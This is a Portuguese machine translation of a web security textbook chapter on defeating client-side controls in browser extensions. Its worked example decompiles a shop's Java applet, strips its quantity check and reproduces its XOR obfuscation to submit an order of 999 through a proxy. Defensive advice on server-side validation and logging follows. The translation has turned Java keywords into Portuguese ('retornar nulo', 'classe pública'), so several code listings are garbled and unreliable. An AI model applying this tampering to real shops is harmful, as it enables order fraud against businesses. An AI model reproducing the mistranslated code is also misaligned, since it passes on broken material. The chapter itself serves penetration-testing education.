Muitas vezes, a revisão do código-fonte revela algumas funções interessantes dentro do componente que você deseja modificar ou manipular para identificar possíveis vulnerabilidades de segurança. Isso pode incluir a remoção da validação de entrada do lado do cliente, o envio de dados não padrão para o servidor, a manipulação do estado ou dos eventos do lado do cliente ou a invocação direta da funcionalidade presente no componente.

É possível modificar o comportamento do componente de várias maneiras, conforme descrito nas seções a seguir.

Recompilação e execução no navegador

Você pode modificar o código-fonte descompilado para alterar o comportamento do componente, recompilá-lo para bytecode e executar o componente modificado no navegador. Essa abordagem geralmente é preferida quando é necessário manipular eventos importantes do lado do cliente, como o lançamento de dados em um aplicativo de jogos.

Para realizar a recompilação, é necessário usar as ferramentas de desenvolvimento relevantes para a tecnologia que você está usando:

- Para Java, use o programa `javac` no JDK para recompilar o código-fonte modificado.
- Para o Flash, você pode usar `o flasm` para remontar o bytecode modificado ou um dos estúdios de desenvolvimento do Flash da Adobe para recompilar o código-fonte do ActionScript modificado.
- Para o Silverlight, use o Visual Studio para recompilar o código-fonte modificado.

Depois de recompilar o código-fonte em um ou mais arquivos bytecode, talvez seja necessário reempacotar o arquivo distribuível, se necessário, para a tecnologia que está sendo usada. Para Java e Silverlight, substitua os arquivos de bytecode modificados em seu arquivo

arquivo descompactado, reembale usando um utilitário zip e, em seguida, altere a extensão novamente para `.jar` ou `.xap`, conforme apropriado.

A etapa final é carregar o componente modificado no navegador para que as alterações tenham efeito no aplicativo que está sendo testado. Você pode fazer isso de várias maneiras:

- Se for possível encontrar o arquivo físico no cache em disco do navegador que contém o executável original, você poderá substituí-lo pela versão modificada e reiniciar o navegador. Essa abordagem poderá ser difícil se o navegador não usar um arquivo individual diferente para cada recurso armazenado em cache ou se o armazenamento em cache dos componentes de extensão do navegador for implementado somente na memória.
- Usando o proxy de interceptação, você pode modificar o código-fonte da página que carrega o componente e especificar um URL diferente, apontando para o sistema de arquivos local ou para um servidor da Web que você controla. Essa abordagem normalmente é difícil porque a alteração do domínio a partir do qual o componente é carregado pode violar a política de mesma origem do navegador e pode exigir a reconfiguração do navegador ou outros métodos para enfraquecer essa política.
- Você pode fazer com que seu navegador recarregue o componente do servidor original (conforme descrito na seção anterior "Download do Bytecode"), usar seu proxy para interceptar a resposta que contém o executável e substituir o corpo da mensagem por sua versão modificada. No Burp Proxy, você pode usar a opção de menu de contexto Colar do arquivo para fazer isso. Essa abordagem geralmente é a mais fácil e a menos provável de se deparar com os problemas descritos anteriormente.

Recompilação e execução fora do navegador

Em alguns casos, não é necessário modificar o comportamento do componente enquanto ele está sendo executado. Por exemplo, alguns componentes de extensão do navegador validam a entrada fornecida pelo usuário e, em seguida, ofuscam ou criptografam o resultado antes de enviá-lo ao servidor. Nessa situação, você pode modificar o componente para executar a ofuscação ou criptografia necessária em entradas arbitrárias não validadas e simplesmente enviar o resultado localmente. Em seguida, você pode usar seu proxy para interceptar a solicitação relevante quando o componente original enviar a entrada validada e substituí-la pelo valor que foi gerado pelo seu componente modificado.

Para realizar esse ataque, você precisa alterar o executável original, que foi projetado para ser executado na extensão do navegador relevante, para um programa autônomo que possa ser executado na linha de comando. A maneira como isso é feito depende da linguagem de programação que está sendo usada. Por exemplo, em Java, você só precisa implementar um método `principal`. A seção "Java Applets: Um exemplo prático" dá um exemplo de como fazer isso.

Manipulação do componente original usando JavaScript

Em alguns casos, não é necessário modificar o bytecode do componente. Em vez disso, talvez seja possível atingir seus objetivos modificando o JavaScript na página HTML que interage com o componente.

Depois de revisar o código-fonte do componente, você pode identificar todos os seus métodos públicos que podem ser chamados diretamente do JavaScript e a maneira como os parâmetros desses métodos são tratados. Geralmente, há mais métodos disponíveis do que os que são chamados nas páginas do aplicativo, e você também pode descobrir mais sobre a finalidade e o tratamento dos parâmetros desses métodos.

Por exemplo, um componente pode expor um método que pode ser chamado para ativar ou desativar partes da interface visível do usuário. Usando o proxy de interceptação, você poderá editar a página HTML que carrega o componente e modificar ou adicionar algum JavaScript para desbloquear partes da interface que estão ocultas.

ETAPAS DO HACK

1. Use as técnicas descritas para fazer download do bytecode do componente, descompactá-lo e descompilá-lo em código-fonte.
2. Analise o código-fonte relevante para entender qual processamento está sendo realizado.
3. Se o componente contiver algum método público que possa ser manipulado para atingir seu objetivo, intercepte uma resposta HTML que interaja com o componente e adicione algum JavaScript para invocar os métodos apropriados usando sua entrada.
4. Caso contrário, modifique o código-fonte do componente para atingir seu objetivo e, em seguida, recompile-o e execute-o, seja no navegador ou como um programa autônomo.
5. Se o componente estiver sendo usado para enviar dados ofuscados ou criptografados para o servidor, use a versão modificada do componente para enviar várias cadeias de ataque adequadamente ofuscadas para o servidor, a fim de sondar vulnerabilidades, como faria com qualquer outro parâmetro.

Lidando com a ofuscação de bytecode

Devido à facilidade com que o bytecode pode ser descompilado para recuperar sua fonte, várias técnicas foram desenvolvidas para ofuscar o próprio bytecode. A aplicação dessas técnicas resulta em um bytecode mais difícil de descompilar ou que descompila para um código-fonte enganoso ou inválido, que pode ser muito difícil de entender e impossível de recompilar sem muito esforço. Por exemplo, considere o seguinte código-fonte Java ofuscado:

```
pacote myapp.interface;

importar myapp.class.public;
importar myapp.throw.throw;
```

```
importar if.if.if.if.if.else;
importar java.awt.event.KeyEvent;

public class double extends public implements strict
{
    public double(j j1)
    {
        _mthif();
        _fldif = j1;
    }
    private void _mthif(ActionEvent actionevent)
    {
        _mthif(((KeyEvent) (null)));
        switch(_fldif._mthnew()._fldif)
        {
        caso 0:
            _fldfloat.setEnabled(false);
            _fldboolean.setEnabled(false);
            _fldinstanceof.setEnabled(false);
            _fldint.setEnabled(false); break;

...
```

As técnicas de ofuscação comumente empregadas são as seguintes:

- Nomes significativos de classes, métodos e variáveis de membros são substituídos por expressões sem sentido, como a, b e c. Isso força o leitor do código descompilado a identificar a finalidade de cada item estudando como ele é usado. Isso pode dificultar o controle de diferentes itens enquanto os rastreia pelo código-fonte.
- Além disso, alguns ofuscadores substituem os nomes dos itens por palavras-chave reservadas para a linguagem, como `new` e `int`. Embora isso tecnicamente torne o bytecode ilegal, a maioria das máquinas virtuais (VMs) tolera o código ilegal e ele é executado normalmente. No entanto, mesmo que um descompilador consiga lidar com o bytecode ilegal, o código-fonte resultante é ainda menos legível do que o descrito acima. E o mais importante é que o código-fonte não pode ser recompilado sem um extenso retrabalho para renomear consistentemente os itens nomeados ilegalmente.
- Muitos ofuscadores retiram informações desnecessárias de depuração e meta-informação do bytecode, incluindo nomes de arquivos de origem e números de linha (o que torna os rastreamentos de pilha menos informativos), nomes de variáveis locais (o que frustra a depuração) e informações de classe interna (o que impede que a reflexão funcione corretamente).
- É possível adicionar códigos redundantes que criam e manipulam vários tipos de dados de forma significativa, mas que são autônomos em relação aos dados reais que estão sendo realmente usados pela funcionalidade do aplicativo.

- O caminho de execução do código pode ser modificado de forma complicada, por meio do uso de instruções de salto, de modo que a sequência lógica de execução seja difícil de discernir ao ler o código-fonte descompilado.
- Podem ser introduzidas construções de programação ilegais, como instruções inacessíveis e caminhos de código com instruções `de retorno` ausentes. A maioria das VMs tolera esses fenômenos no bytecode, mas o código-fonte descompilado não pode ser recompilado sem a correção do código ilegal.

ETAPAS DO HACK

As táticas eficazes para lidar com a ofuscação de bytecode dependem das técnicas usadas e da finalidade para a qual você está analisando o código-fonte. Aqui estão algumas sugestões:

1. Você pode analisar os métodos públicos de um componente sem entender completamente a fonte. Deve ser óbvio quais métodos podem ser invocados a partir do JavaScript e quais são suas assinaturas, o que permite que você teste o comportamento dos métodos passando várias entradas.
2. Se os nomes das variáveis de classe, método e membro tiverem sido substituídos por expressões sem sentido (mas não por palavras especiais reservadas pela linguagem de programação), você poderá usar a funcionalidade de refatoração incorporada em muitos IDEs para se ajudar a entender o código. Ao estudar como os itens são usados, você pode começar a atribuir nomes significativos a eles. Se você usar a ferramenta **`de renomeação`** no IDE, ela fará muito trabalho para você, rastreando o uso do item em toda a base de código e renomeando-o em todos os lugares.
3. Na verdade, você pode desfazer grande parte da ofuscação executando o código de byte ofuscado por meio de um ofuscador uma segunda vez e escolhendo as opções adequadas. Um ofuscador útil para Java é o Jode. Ele pode remover caminhos de código redundantes adicionados por outro ofuscador e facilitar o processo de compreensão dos nomes ofuscados, atribuindo nomes globalmente exclusivos aos itens.

Applets Java: Um exemplo prático

Consideraremos agora um breve exemplo de descompilação de extensões de navegador, analisando um aplicativo de compras que executa a validação de entrada em um applet Java.

Neste exemplo, o formulário que envia a quantidade de pedido solicitada pelo usuário tem a seguinte aparência:

```
<form method="post" action="Shop.aspx?prod=2" onsubmit="return
validateForm(this)">
<input type="hidden" name="obfpad"
value="klGSB8X9x0WFv9KGqilePdqaxHIsU5RnojwPdBRgZuiXSB3TgkupaFigj
UQm8CIP5HJxpidrPOuQPw63ogZ2vbyiOevPrkxFiuUxA8Gn30o1ep2Lax6IyuyEU
```

```
D9SmG7c">
<script>
função validateForm(theForm)
{
    var obfquantity =
    document.CheckQuantityApplet.doCheck(
    theForm.quantity.value, theForm.obfpad.value); if
    (obfquantity == undefined)
    {
        alert('Please enter a valid quantity.');
        return false;
    }
    theForm.quantity.value = obfquantity;
    return true;
}
</script>
<applet code="CheckQuantity.class" codebase="/scripts" width="0"
height="0"
 id="CheckQuantityApplet"></applet>
Produto: Samsung Multiverse <br/>
Preço: 399 <br/>
Quantidade: <input type="text" name="quantity"> (A quantidade máxima é 50)
<br/>
<input type="submit" value="Buy">
</form>
```

Quando o formulário é enviado com uma quantidade de 2, é feita a seguinte solicitação:

```
POST /shop/154/Shop.aspx?prod=2 HTTP/1.1
Host: mdsec.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 77

obfpad=klGSB8X9x0WFv9KGqilePdqaxHIsU5RnojwPdBRgZuiXSB3TgkupaFigjUQm8CIP5 HJxpidrPOuQ
Pw63ogZ2vbyiOevPrkxFiuUxA8Gn30o1ep2Lax6IyuyEUD9SmG7c&quantity=4b282c510f 776a405f465
877090058575f445b536545401e4268475e105b2d15055c5d5204161000
```

Como você pode ver no código HTML, quando o formulário é enviado, o script de validação passa a quantidade fornecida pelo usuário e o valor do parâmetro `obfpad` para um applet Java chamado `CheckQuantity`. O miniaplicativo aparentemente executa a validação de entrada necessária e retorna ao script uma versão ofuscada da quantidade, que é então enviada ao servidor.

Como o aplicativo no lado do servidor confirma nosso pedido de duas unidades, fica claro que o parâmetro `de quantidade` contém, de alguma forma, o valor que solicitamos. No entanto, se tentarmos modificar esse parâmetro sem o conhecimento do algoritmo de ofuscação, o ataque falhará, provavelmente porque o servidor não conseguirá descompactar corretamente nosso valor ofuscado.

Nessa situação, podemos usar a metodologia já descrita para descompilar o applet Java e entender como ele funciona. Primeiro, precisamos fazer download do bytecode do applet a partir do URL especificado na tag `applet` da página HTML:

```
/scripts/CheckQuantity.class
```

Como o executável não está empacotado como um arquivo `.jar`, não há necessidade de descompactá-lo, e podemos executar o Jad diretamente no arquivo `.class` baixado:

```
C:\tmp>jad CheckQuantity.class
Analisando CheckQuantity.class... A versão do arquivo de classe é 50.0 (somente
45.3, 46.0 e 47.0 são compatíveis)
 Geração do CheckQuantity.jad
Não foi possível descompilar totalmente o método doCheck
Não foi possível resolver todos os manipuladores de exceção no método doCheck
```

O Jad gera o código-fonte descompilado como um arquivo `.jad`, que pode ser visualizado em qualquer editor de texto:

```
// Descompilado por Jad v1.5.8f. Direitos autorais 2001 Pavel Kouznetsov.
// Página inicial do Jad: http://www.kpdus.com/jad.html
// Opções do descompilador: packimports(3)
// Nome do arquivo de origem:

                        CheckQuantity.java

import java.applet.Applet;

public class CheckQuantity extends Applet
{
    público CheckQuantity()
    {
    }

    public String doCheck(String s, String s1)
    {
        int i = 0;
        i = Integer.parseInt(s);
        if(i <= 0 || i > 50)
            retornar nulo;
        quebra MISSING_BLOCK_LABEL_26;
        Exceção        exceção;
        exceção;
        retornar nulo;
        String  s2  =  (new  StringBuilder()).append("rand=").append
(Math.random()).append("&q=").append(Integer.toString(i)).append
("&checked=true").toString();
        StringBuilder stringbuilder = new StringBuilder(); for(int j
        = 0; j < s2.length(); j++)
        {
            String s3 = (new StringBuilder()).append('0').append
(Integer.toHexString((byte)s1.charAt((j * 19 + 7) % s1.length()) ^
s2.charAt(j))).toString();
```

```
                int k = s3.length();
                if(k > 2)
                    s3 = s3.substring(k - 2, k);
                stringbuilder.append(s3);
            }

            retorna stringbuilder.toString();
        }
    }
```

Como você pode ver no código-fonte descompilado, Jad fez um trabalho razoável de descompilação, e o código-fonte do applet é simples. Quando o método `doCheck` é chamado com a `quantidade` fornecida pelo usuário e os parâmetros `obfpad` fornecidos pelo aplicativo, o miniaplicativo primeiro valida se a quantidade é um número válido e se está entre 1 e 50. Em caso afirmativo, ele cria uma cadeia de pares nome/valor usando o formato de cadeia de consulta de URL, que inclui a quantidade validada. Por fim, ele ofusca essa cadeia executando operações XOR contra caracteres com a cadeia `obfpad` que o aplicativo forneceu. Essa é uma maneira bastante fácil e comum de adicionar alguma ofuscação superficial aos dados para evitar adulterações triviais. Descrevemos várias abordagens que você pode adotar quando tiver decomposto e analisado o código-fonte de um componente de extensão do navegador. Neste No caso do applet, a maneira mais fácil de subvertê-lo é a seguinte:

1. Modifique o método `doCheck` para remover a validação de entrada, permitindo que você forneça uma cadeia de caracteres arbitrária como sua quantidade.
2. Adicione um método `principal`, permitindo que você execute o componente modificado a partir da linha de comando. Esse método simplesmente chama o método `doCheck` modificado e imprime o resultado ofuscado no console.

Quando você tiver feito essas alterações, o código-fonte modificado será o seguinte:

```
classe pública CheckQuantity
{
    public static void main(String[] a)
    {
        System.out.println(doCheck("999",
"klGSB8X9x0WFv9KGqilePdqaxHIsU5RnojwPdBRgZuiXSB3TgkupaFigjUQm8CIP5HJxpi
drPOuQPw63ogZ2vbyiOevPrkxFiuUxA8Gn30o1ep2Lax6IyuyEUD9 SmG7c"));
    }

    public static String doCheck(String s, String s1)
    {
        String s2 = (new StringBuilder()).append("rand=").append
(Math.random()).append("&q=").append(s).append
("&checked=true").toString();
        StringBuilder stringbuilder = new StringBuilder(); for(int
        j = 0; j < s2.length(); j++)
        {
            String s3 = (new StringBuilder()).append('0').append
```

```
(Integer.toHexString((byte)s1.charAt((j * 19 + 7) % s1.length()) ^
s2.charAt(j))).toString();
            int k = s3.length();
            if(k > 2)
                s3 = s3.substring(k - 2, k);
            stringbuilder.append(s3);
        }
    retorna stringbuilder.toString();
    }
}
```

Essa versão do componente modificado fornece uma cadeia de caracteres ofuscada válida para a quantidade arbitrária de 999. Observe que você poderia usar uma entrada não numérica aqui, o que lhe permitiria sondar o aplicativo em busca de vários tipos de vulnerabilidades baseadas em entrada.

DICA O programa Jad salva seu código-fonte descompilado com a extensão **`.jad`**. No entanto, se você quiser modificar e recompilar o código-fonte, precisará renomear cada arquivo de código-fonte com a extensão **`.java`**.

Tudo o que resta é recompilar o código-fonte usando o compilador javac que vem com o Java SDK e, em seguida, executar o componente na linha de comando:

```
C:\tmp>javac CheckQuantity.java
C:\tmp>java CheckQuantity
4b282c510f776a455d425a7808015c555f42585460464d1e42684c414a152b1e0b5a520a
145911171609
```

Nosso componente modificado já realizou a ofuscação necessária em nossa quantidade arbitrária de 999. Para enviar o ataque ao servidor, precisamos simplesmente enviar o formulário de pedido da maneira normal usando uma entrada válida, interceptar a solicitação resultante usando nosso proxy e substituir a quantidade ofuscada pela fornecida pelo nosso componente modificado. Observe que, se o aplicativo emitir um novo bloco de ofuscação cada vez que o formulário de pedido for carregado, você precisará garantir que o bloco de ofuscação que está sendo enviado de volta ao servidor corresponda ao que foi usado para ofuscar a quantidade que também está sendo enviada.

EXPERIMENTE!

Esses exemplos demonstram o ataque descrito acima e os ataques correspondentes usando as tecnologias Silverlight e Flash:

http://mdsec.net/shop/154/

http://mdsec.net/shop/167/

http://mdsec.net/shop/179/

Conexão de um depurador

A descompilação é o método mais completo de entender e comprometer uma extensão de navegador. Entretanto, em componentes grandes e complexos que contêm dezenas de milhares de linhas de código, quase sempre é muito mais rápido observar o componente durante a execução, correlacionando métodos e classes com ações importantes dentro da interface. Essa abordagem também evita as dificuldades que podem surgir com a interpretação e a recompilação de bytecode ofuscado. Muitas vezes, atingir um objetivo específico é tão simples quanto executar uma função-chave e alterar seu comportamento para contornar os controles implementados no componente.

Como o depurador está trabalhando no nível do bytecode, ele pode ser facilmente usado para controlar e entender o fluxo de execução. Em particular, se o código-fonte puder ser obtido por meio da descompilação, os pontos de interrupção poderão ser definidos em linhas específicas de código, permitindo que a compreensão obtida por meio da descompilação seja apoiada pela observação prática do caminho do código adotado durante a execução.

Embora depuradores eficientes não estejam totalmente desenvolvidos para todas as tecnologias de extensão de navegador, a depuração é bem suportada para applets Java. De longe, o melhor recurso para isso é o JavaSnoop, um depurador Java que pode integrar o Jad para descompilar o código-fonte, rastrear variáveis em um aplicativo e definir pontos de interrupção em métodos para visualizar e modificar parâmetros. A Figura 5-6 mostra o JavaSnoop sendo usado para se conectar diretamente a um applet Java em execução no navegador. A Figura 5-7 mostra o JavaSnoop sendo usado para adulterar o valor de retorno de um método.

Figura 5-6: O JavaSnoop pode se conectar diretamente a um applet em execução no navegador

OBSERVAÇÃO É melhor executar o JavaSnoop antes que o applet de destino seja carregado. O JavaSnoop desativa as restrições definidas pela política de segurança do Java para que possa operar no alvo. No Windows, ele faz isso concedendo todas as permissões a todos os programas Java em seu sistema, portanto, certifique-se de que o JavaSnoop seja encerrado de forma limpa e que as permissões sejam restauradas quando você terminar de trabalhar.

Uma ferramenta alternativa para depuração de Java é o JSwat, que é altamente configurável. Em projetos grandes que contêm muitos arquivos de classe, às vezes

é preferível

para descompilar, modificar e recompilar um arquivo de classe chave e, em seguida, usar o JSwat para fazer o hot swap no aplicativo em execução. Para usar o JSwat, você precisa iniciar um applet usando a ferramenta `appletviewer` incluída no JDK e, em seguida, conectar o JSwat a ele. Por exemplo, você pode usar este comando:

```
appletviewer -J-Xdebug -J-Djava.compiler=NONE -J-
Xrunjdwp:transport=dt_socket,
server=y,suspend=n,address=5000 appletpage.htm
```

Figura 5-7: Depois que um método adequado é identificado, o JavaSnoop pode ser usado para adulterar o valor de retorno do método

Quando estiver trabalhando em objetos Silverlight, você pode usar a ferramenta Silverlight Spy para monitorar a execução do componente em tempo de execução. Isso pode ajudar muito a correlacionar caminhos de código relevantes a eventos que ocorrem na interface do usuário. O Silverlight Spy está disponível no seguinte URL:

```
http://firstfloorsoftware.com/SilverlightSpy/
```

Componentes de cliente nativos

Alguns aplicativos precisam realizar ações no computador do usuário que não podem ser conduzidas de dentro de uma sandbox de VM baseada em navegador. Em termos de controles de segurança no lado do cliente, aqui estão alguns exemplos dessa funcionalidade:

- Verificar se um usuário tem um antivírus atualizado
- Verificar se as configurações de proxy e outras configurações corporativas estão em vigor
- Integração com um leitor de cartão inteligente

Normalmente, esses tipos de ações exigem o uso de componentes de código nativo, que integram a funcionalidade do aplicativo local com a funcionalidade do aplicativo Web. Os componentes nativos do cliente geralmente são fornecidos por meio de controles ActiveX. Esses controles são extensões personalizadas do navegador que são executadas fora da área restrita do navegador.

Os componentes nativos do cliente podem ser significativamente mais difíceis de decifrar do que outras extensões de navegador, porque não há equivalente ao bytecode intermediário. No entanto, os princípios de ignorar os controles do lado do cliente ainda se aplicam, mesmo que isso exija um conjunto de ferramentas diferente. Aqui estão alguns exemplos de ferramentas populares usadas para essa tarefa:

- O OllyDbg é um depurador do Windows que pode ser usado para percorrer o código executável nativo, definir pontos de interrupção e aplicar correções a executáveis, seja no disco ou em tempo de execução.
- O IDA Pro é um desmontador que pode produzir código de montagem legível por humanos a partir de código executável nativo em uma ampla variedade de plataformas.

Embora uma descrição completa esteja fora do escopo deste livro, a seguir estão alguns recursos úteis se você quiser saber mais sobre engenharia reversa de componentes de código nativo e tópicos relacionados:

- *Reversing (Reversão)*: *Segredos da Engenharia Reversa* por Eldad Eilam
- *Desmontagem de hackers revelada* por Kris Kaspersky
- *A arte da avaliação de segurança de software* por Mark Dowd, John McDonald e Justin Schuh
- *Fuzzing for Software Security Testing and Quality Assurance* (*Artech House Information Security and Privacy*) por Ari Takanen, Jared DeMott e Charlie Miller
- *O livro IDA Pro*: *The Unofficial Guide to the World's Most Popular Disassembler (Guia não oficial do desmontador mais popular do mundo)*
  por Chris Eagle
- `www.acm.uiuc.edu/sigmil/RevEng`
- `www.uninformed.org/?v=1&a=7`

Manuseio seguro de dados do lado do cliente

Como você viu, o principal problema de segurança dos aplicativos Web surge porque os componentes do lado do cliente e a entrada do usuário estão fora do controle direto do servidor. O cliente e todos os dados recebidos dele são inerentemente não confiáveis.

Transmissão de dados por meio do cliente

Muitos aplicativos ficam expostos porque transmitem dados críticos, como preços de produtos e taxas de desconto, por meio do cliente de maneira insegura.

Se possível, os aplicativos devem evitar a transmissão desse tipo de dados por meio do cliente. Em praticamente qualquer cenário concebível, é possível manter esses dados no servidor e fazer referência a eles diretamente da lógica do lado do servidor quando necessário. Por exemplo, um aplicativo que recebe pedidos de usuários para vários produtos deve permitir que os usuários enviem o código e a quantidade do produto e procurem o preço de cada produto solicitado em um banco de dados no servidor. Não há necessidade de os usuários enviarem os preços dos itens de volta ao servidor. Mesmo quando um aplicativo oferece preços ou descontos diferentes para usuários diferentes, não há necessidade de se afastar desse modelo. Os preços podem ser mantidos no banco de dados por usuário, e as taxas de desconto podem ser armazenadas em perfis de usuário ou até mesmo em objetos de sessão. O aplicativo já possui, no lado do servidor, todas as informações necessárias para calcular o preço de um produto específico para um usuário específico. E precisa. Caso contrário, não seria possível, no modelo inseguro, armazenar esse preço em um campo de formulário oculto.

Se os desenvolvedores decidirem que não têm outra alternativa a não ser transmitir dados críticos por meio do cliente, os dados deverão ser assinados e/ou criptografados para evitar que o usuário os adultere. Se esse curso de ação for adotado, há duas armadilhas importantes a serem evitadas:

- Algumas formas de usar dados assinados ou criptografados podem ser vulneráveis a ataques de repetição. Por exemplo, se o preço do produto for criptografado antes de ser armazenado em um campo oculto, pode ser possível copiar o preço criptografado de um produto mais barato e enviá-lo no lugar do preço original. Para evitar esse ataque, o aplicativo precisa incluir contexto suficiente nos dados criptografados para evitar que eles sejam reproduzidos em um contexto diferente. Por exemplo, o aplicativo poderia concatenar o código do produto e o preço, criptografar o resultado como um único item e, em seguida, validar se a cadeia criptografada enviada com um pedido realmente corresponde ao produto que está sendo pedido.
- Se os usuários conhecerem e/ou controlarem o valor do texto simples das cadeias de caracteres criptografadas que lhes são enviadas, eles poderão montar vários ataques criptográficos para descobrir a chave de criptografia que o servidor está usando. Feito isso, eles podem criptografar valores arbitrários e contornar totalmente a proteção oferecida pela solução.

Em aplicativos executados na plataforma ASP.NET, é aconselhável nunca armazenar dados personalizados no `ViewState`, especialmente qualquer coisa sensível que você não queira que seja exibida na tela para os usuários. A opção de ativar o MAC `do ViewState` deve estar sempre ativada.

Validação de dados gerados pelo cliente

Os dados gerados no cliente e transmitidos ao servidor não podem, em princípio, ser validados com segurança no cliente:

- Controles leves no lado do cliente, como campos de formulário HTML e JavaScript, podem ser contornados facilmente e não oferecem nenhuma garantia sobre a entrada que o servidor recebe.
- Os controles implementados nos componentes de extensão do navegador são, às vezes, mais difíceis de serem contornados, mas isso pode apenas atrasar um invasor por um curto período.
- O uso de código do lado do cliente altamente ofuscado ou compactado oferece obstáculos adicionais; no entanto, um invasor determinado sempre pode superá-los. (Um ponto de comparação em outras áreas é o uso de tecnologias DRM para impedir que os usuários copiem arquivos de mídia digital. Muitas empresas investiram muito nesses controles do lado do cliente, e cada nova solução geralmente é quebrada em pouco tempo).

A única maneira segura de validar os dados gerados pelo cliente é no lado do servidor do aplicativo. Cada item de dados recebido do cliente deve ser considerado contaminado e potencialmente malicioso.

MITO COMUM

Às vezes, acredita-se que qualquer uso de controles no lado do cliente é ruim. Em particular, alguns testadores de penetração profissionais relatam a presença de controles no lado do cliente como uma "descoberta" sem verificar se eles são replicados no servidor ou se há alguma explicação não relacionada à segurança para sua existência. Na verdade, apesar das advertências significativas decorrentes dos vários ataques descritos neste capítulo, há, no entanto, maneiras de usar controles no lado do cliente que não geram nenhuma vulnerabilidade de segurança:

- Os scripts do lado do cliente podem ser usados para validar a entrada como um meio de aprimorar a usabilidade, evitando a necessidade de comunicação de ida e volta com o servidor. Por exemplo, se o usuário digitar sua data de nascimento em um formato incorreto, alertá-lo sobre o problema por meio de um script no lado do cliente proporcionará uma experiência muito mais perfeita. Obviamente, o aplicativo deve reavaliar a data do item enviado quando ele chegar ao servidor.

Continuação

MITO COMUM *(continuação)*

- Às vezes, a validação de dados no lado do cliente pode ser eficaz como medida de segurança - por exemplo, como defesa contra ataques de script entre sites baseados em DOM. No entanto, esses são casos em que o foco do ataque é outro usuário do aplicativo, e não o aplicativo do lado do servidor, e a exploração de uma possível vulnerabilidade não depende necessariamente da transmissão de dados maliciosos para o servidor. Consulte os Capítulos 12 e 13 para obter mais detalhes sobre esse tipo de cenário.

- Conforme descrito anteriormente, há maneiras de transmitir dados criptografados por meio do cliente que não são vulneráveis a ataques de adulteração ou repetição.

Registro e alerta

Quando um aplicativo emprega mecanismos como limites de comprimento e validação baseada em JavaScript para aprimorar o desempenho e a usabilidade, eles devem ser integrados às defesas de detecção de intrusão no lado do servidor. A lógica do lado do servidor que executa a validação dos dados enviados pelo cliente deve estar ciente da validação que já ocorreu no lado do cliente. Se forem recebidos dados que teriam sido bloqueados pela validação do lado do cliente, o aplicativo poderá inferir que um usuário está contornando ativamente essa validação e, portanto, é provável que seja mal-intencionado. As anomalias devem ser registradas e, se for o caso, os administradores do aplicativo devem ser alertados em tempo real para que possam monitorar qualquer tentativa de ataque e tomar as medidas adequadas conforme necessário. O aplicativo também pode se defender ativamente encerrando a sessão do usuário ou até mesmo suspendendo sua conta.

NOTA Em alguns casos em que o JavaScript é empregado, o aplicativo ainda pode ser usado por usuários que desativaram o JavaScript em seus navegadores. Nessa situação, o navegador simplesmente ignora o código de validação de formulário baseado em JavaScript, e a entrada bruta inserida pelo usuário é enviada. Para evitar falsos positivos, o mecanismo de registro e alerta deve estar ciente de onde e como isso pode ocorrer.

Resumo

Praticamente todos os aplicativos cliente/servidor devem aceitar o fato de que não se pode confiar que o componente cliente e todo o processamento que ocorre nele se comportem conforme o esperado. Como você viu, os métodos de comunicação transparentes geralmente empregados pelos aplicativos da Web significam que um invasor equipado com ferramentas simples e habilidade mínima pode contornar facilmente a maioria dos controles implementados no cliente. Mesmo quando um aplicativo tenta ofuscar os dados e o processamento que residem no lado do cliente, um invasor determinado pode comprometer essas

defesas.

Em todos os casos em que você identificar dados sendo transmitidos por meio do cliente, ou validação de entrada fornecida pelo usuário sendo implementada no cliente, você deve testar como o servidor responde a dados inesperados que contornam esses controles. Muitas vezes, vulnerabilidades graves se escondem por trás das suposições de um aplicativo sobre a proteção oferecida a ele pelas defesas implementadas no cliente.

Perguntas

As respostas podem ser encontradas em http://mdsec.net/wahh.

1. Como os dados podem ser transmitidos pelo cliente de forma a evitar ataques de adulteração?
2. Um desenvolvedor de aplicativos deseja impedir que um invasor execute ataques de força bruta contra a função de login. Como o invasor pode ter como alvo vários nomes de usuário, o desenvolvedor decide armazenar o número de tentativas fracassadas em um cookie criptografado, bloqueando qualquer solicitação se o número de tentativas fracassadas for superior a cinco. Como essa defesa pode ser contornada?
3. Um aplicativo contém uma página administrativa que está sujeita a controles de acesso rigorosos. Ela contém links para funções de diagnóstico localizadas em um servidor da Web diferente. O acesso a essas funções também deve ser restrito apenas aos administradores. Sem implementar um segundo mecanismo de autenticação, qual dos seguintes mecanismos do lado do cliente (se houver) poderia ser usado para controlar com segurança o acesso à funcionalidade de diagnóstico? Você precisa de mais alguma informação para ajudar a escolher uma solução?

   (a) As funções de diagnóstico podem verificar o cabeçalho HTTP `Referer` para confirmar que a solicitação se originou na página administrativa principal.

   (b) As funções de diagnóstico podem validar os cookies fornecidos para confirmar que eles contêm um token de sessão válido para o aplicativo principal.

   (c) O aplicativo principal poderia definir um token de autenticação em um campo oculto incluído na solicitação. A função de diagnóstico poderia validar isso para confirmar que o usuário tem uma sessão no aplicativo principal.
4. Se um campo de formulário incluir o atributo `disabled=true`, ele não será enviado com o restante do formulário. Como você pode alterar esse comportamento?
5. Há algum meio pelo qual um aplicativo possa garantir que uma parte da lógica de validação de entrada tenha sido executada no cliente?

CAPÍTULO

6

Ataque à autenticação

À primeira vista, a autenticação está conceitualmente entre os mais simples de todos os mecanismos de segurança empregados nos aplicativos da Web. No caso típico, um usuário fornece seu nome de usuário e senha, e o aplicativo deve verificar se esses itens estão corretos. Em caso afirmativo, ele permite que o usuário entre. Caso contrário, ele não o faz.

A autenticação também está no centro da proteção de um aplicativo contra ataques mal-intencionados. Ela é a linha de frente da defesa contra o acesso não autorizado. Se um invasor conseguir derrotar essas defesas, ele geralmente obterá controle total da funcionalidade do aplicativo e acesso irrestrito aos dados contidos nele. Sem uma autenticação robusta, nenhum dos outros mecanismos principais de segurança (como gerenciamento de sessão e controle de acesso) pode ser eficaz.

Na verdade, apesar de sua aparente simplicidade, a criação de uma função de autenticação segura é algo sutil. Nos aplicativos da Web do mundo real, a autenticação geralmente é o elo mais fraco, o que permite que um invasor obtenha acesso não autorizado. Os autores perderam a conta do número de aplicativos que comprometemos fundamentalmente como resultado de vários defeitos na lógica de autenticação.

Este capítulo analisa detalhadamente a grande variedade de falhas de design e implementação que comumente afetam os aplicativos da Web. Elas geralmente surgem porque os designers e desenvolvedores de aplicativos não fazem uma pergunta simples: O que um invasor poderia conseguir se tivesse como alvo nosso mecanismo de autenticação? Na maioria dos casos, assim que essa pergunta é feita com seriedade a um determinado aplicativo, várias vulnerabilidades potenciais se materializam, e qualquer uma delas pode ser suficiente para quebrar o aplicativo.

